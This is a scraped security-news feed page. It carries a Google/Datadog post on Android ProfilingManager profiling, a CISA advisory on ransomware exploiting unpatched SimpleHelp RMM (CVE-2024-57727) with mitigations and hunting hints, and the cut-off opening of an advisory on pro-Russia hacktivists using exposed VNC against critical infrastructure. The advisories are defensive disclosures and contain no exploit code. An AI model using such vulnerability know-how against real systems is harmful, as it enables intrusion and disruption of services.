<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/a/AVvXsEh92CmF7Hos-AKsEmr3k9Va10fhbed32pj4r9wxbUAlpyAIh2GV0KhvsRYzkmATQgflpHYdfAgdFkRfq1ki2G7ty5wKfzoaoyYknCOEjb6Auz7r0Zcfk0tR6VCX-3o3L9fpcs419uI5iNdBiOtno7ughGWD0SGJ5n3sfWPEB7ZJ9M_HQFDLhBQ_hv3HFQ8">
<p>Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA"><img alt="" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA=s16000"></a></div><br><br><p></p>

<p>
  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.
</p>

<p>Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the <em>why</em> behind a performance bottleneck.
</p>

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

<h3>The impact of ProfilingManager</h3><p>
  ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s1280/AANDDM_DataDog_Quote_01.png"><img alt="ProfilingManager is a highly performant solution for code-level insights.  Of the solutions we evaluated, it has the lowest runtime overhead,  gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog" border="0" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s16000/AANDDM_DataDog_Quote_01.png"></a></div><br><p><br></p>

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

<h3>Solving the Android code-level visibility challenge</h3><p>
  Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.</p><div><span face='"Google Sans", sans-serif'><br></span></div><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o"><img alt="We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o=s16000"></a></div><br><br><p></p>

<p>
  To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.
</p>

<p>
  ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health. 
</p>

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

<ul>
  <li>
    <strong>Granular session diagnostics:</strong> ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the <a href="https://ui.perfetto.dev/">Perfetto UI</a>. 
  </li>
  <li>
    <strong>Automated telemetry triggers:</strong> By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*xix6h8*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_APP_FULLY_DRAWN">APP_FULLY_DRAWN </a>signal, there are already plans to expand this observability to include <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1hl4p7n*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_ANR">ANR</a>, <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*8x3pd*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_OOM">OOM</a>, and <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1ezx2ma*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_COLD_START">COLD_START</a> triggers.</li>
  <li>
    <strong>Proactive trace snapshots:</strong> By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation. 
  </li>
  <li>
    <strong>Bottleneck detection at scale:</strong> Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  </li>
  <li>
    <strong>System-enforced resource stability:</strong> The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  </li>
  <li>
    <strong>On-device data controls:</strong> ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.</li>
</ul>

<h3>Processing millions of weekly profiles to optimize real-world apps</h3><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s3464/datadog-profiling-blogpost-final.png"><img border="0" data-original-height="1686" data-original-width="3464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s16000/datadog-profiling-blogpost-final.png"></a></div><i><div><i>An example of Datadog's time to initial display measurement with </i></div><div><i>stack sampling powered by ProfilingManager</i></div></i><br>Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. <span><span>Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. </span></span>Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.<br><br>The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices. <p></p><h3>Conclusion</h3><p>By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/overview">documentation</a>.</p>

<p>
  In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.
</p>

<p>
  To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit <a href="https://www.datadoghq.com/dg/real-user-monitoring/android-profiling/?utm_source=inbound&amp;utm_medium=corpsite-display&amp;utm_campaign=int-rum-ww-blog-announcement-announcement-androidprofilerblog2026">Datadog Mobile Real User Monitoring</a>.</p>]]></content:encoded>
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<title><![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]></title>
<description><![CDATA[Summary
The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. Th...]]></description>
<link>https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</guid>
<pubDate>Sat, 25 Jul 2026 09:19:52 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p>The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.</p>
<p>SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including <a href="https://www.cve.org/CVERecord?id=CVE-2024-57727" target="_blank" title="CVE-2024-57727">CVE-2024-57727</a>—a path traversal vulnerability.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note1"><sup>1</sup></a><sup> </sup>Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note 1"><sup>1</sup></a><sup> </sup></p>
<p>CISA added CVE-2024-57727 to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog">Known Exploited Vulnerabilities (KEV) Catalog</a> on Feb. 13, 2025.</p>
<p>CISA urges software vendors, downstream customers, and end users to immediately implement the <strong>Mitigations </strong>listed in this advisory based on confirmed compromise or risk of compromise.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-06/aa25-163a-ransomware-simplehelp-rmm-compromise.pdf" class="c-file__link" target="_blank">AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider</a>
    <span class="c-file__size">(PDF,       420.49 KB
  )</span>
  </div>
</div>
<h2><strong>Mitigations</strong></h2>
<p>CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.</p>
<h3>Vulnerable Third-Party Vendors</h3>
<p>If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <code>&lt;file_path&gt;/SimpleHelp/configuration/serverconfig.xml</code>. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:</p>
<ol>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note2" title="Note 2"><sup>2</sup></a></li>
<li>Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.</li>
</ol>
<h3>Vulnerable Downstream Customers and End Users</h3>
<p>Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.</p>
<h4><strong>SimpleHelp Endpoints</strong></h4>
<p>Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:</p>
<ul>
<li>Windows: <code>%APPDATA%\JWrapper-Remote Access</code></li>
<li>Linux: <code>/opt/JWrapper-Remote Access</code></li>
<li>MacOs: <code>/Library/Application Support/JWrapper-Remote Access</code></li>
</ul>
<p>If RAS installation is present and running, open the <code>serviceconfig.xml</code> file in <code>&lt;file_path&gt;/JWrapper-Remote Access/JWAppsSharedConfig/</code> to determine if the registered service is vulnerable. The lines starting with <code>&lt;ConnectTo</code> indicate the server addresses where the service is registered.</p>
<h4><strong>SimpleHelp Server</strong></h4>
<p>Determine the version of any SimpleHelp server by performing an HTTP query against it. Add <code>/allversions</code> (e.g., <code>https://simple-help.com/allversions</code>) to query the URL for the version page. This page will list the running version.</p>
<p>If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. <strong>Note: </strong>This is not an exhaustive list of indicators of compromise.</p>
<ol>
<li> Refer to SimpleHelp’s guidance to determine compromise and next steps.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note3" title="Note 3"><sup>3</sup></a></li>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., <code>aaa.exe</code>, <code>bbb.exe</code>, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.</li>
<li>Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note4" title="Note 4"><sup>4</sup></a></li>
</ol>
<p>If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.</p>
<h3>Encrypted Downstream Customers and End Users</h3>
<p>If a system has been encrypted by ransomware:</p>
<ol>
<li>Disconnect the affected system from the internet.</li>
<li>Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.</li>
<li>Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.</li>
</ol>
<p>CISA urges you to promptly report ransomware incidents to a <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="local FBI Field Office">local FBI Field Office</a>, FBI’s <a href="https://www.ic3.gov/" target="_blank" title="Internet Crime Compliant Center (IC3)">Internet Crime Compliant Center (IC3)</a>, and CISA via CISA’s 24/7 Operations Center (<a href="mailto:report@cisa.gov" title="report@cisa.gov">report@cisa.gov</a> or 1-844-Say-CISA).</p>
<h3><strong>Proactive Mitigations to Reduce Risk</strong></h3>
<p>To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:</p>
<ul>
<li>Maintain a robust asset inventory and hardware list [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#AssetInventory1A" title="CPG 1.A">CPG 1.A</a>].</li>
<li>Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#SystemBackups2R" title="CPG 2.R">CPG 2.R</a>].</li>
<li>Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#NoExploitableServicesontheInternet2W" title="CPG 2.W">CPG 2.W</a>].</li>
<li>Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.</li>
<li>Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.</li>
<li>For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
<ul>
<li>An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s <a href="https://www.cisa.gov/sbom" title="SBOM">SBOM</a> page.</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<ul>
<li><strong>Health-ISAC:</strong><a href="https://health-isac.org/threat-bulletin-simplehelp-rmm-software-leveraged-in-exploitation-attempt-to-breach-networks/" target="_blank" title="Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks">Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks</a></li>
<li><strong>Arctic Wolf: </strong><a href="https://arcticwolf.com/resources/blog-uk/arctic-wolf-observes-campaign-exploiting-simplehelp-rmm-software-initial-access/" target="_blank" title="Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access">Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access</a></li>
<li><strong>CISA: </strong><a href="https://www.cisa.gov/stopransomware/ransomware-guide" title="#StopRansomware Guide">#StopR</a><a href="https://www.cisa.gov/#StopRansomware" title="#StopRansomware Guide">ansomware Guide</a></li>
</ul>
<h2><strong>Reporting</strong></h2>
<p>Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.</p>
<p>FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.</p>
<p>Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.</p>
<p>CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s <a href="https://www.ic3.gov/Home/ComplaintChoice" title="Internet Crime Complain Center (IC3)">Internet Crime Complain Center (IC3)</a>, a <a href="https://www.fbi.gov/contact-us/field-offices" title="local FBI Field Office">local FBI Field Office</a>, or CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a> or its 24/7 Operations Center (<a href="mailto:report@cisa.gov)or" title="report@cisa.gov">report@cisa.gov</a>) or by calling 1-844-Say-CISA (1-844-729-2472).</p>
<p>SimpleHelp users or vendors can contact <a href="mailto:support@simple-help.com" title="support@simple-help.com">support@simple-help.com</a> for assistance with queries or concerns.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.</p>
<h2><strong>Version History</strong></h2>
<p><strong>June 12, 2025:</strong> Initial version.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"><strong>1.</strong></a><strong> </strong>Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” <em>Sophos News</em>, May 27, 2025, <a href="https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/" target="_blank" title="DragonForce actors target SimpleHelp vulnerabilities to attack MSP, customers">https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/</a>.<br><a class="ck-anchor"><strong>2</strong></a><strong>.</strong> For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="SimpleHelp’s security vulnerability advisory.">SimpleHelp’s security vulnerability</a> advisory.<br><a class="ck-anchor"><strong>3.</strong></a> To determine possibility of compromise and next steps, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025#characteristics-of-compromise" target="_blank" title="Characteristics of Compromise">SimpleHelp’s guidance</a>.<br><a class="ck-anchor"><strong>4</strong></a><strong>. </strong>For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="security vulnerability advisory">SimpleHelp’s security vulnerability</a> advisory.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
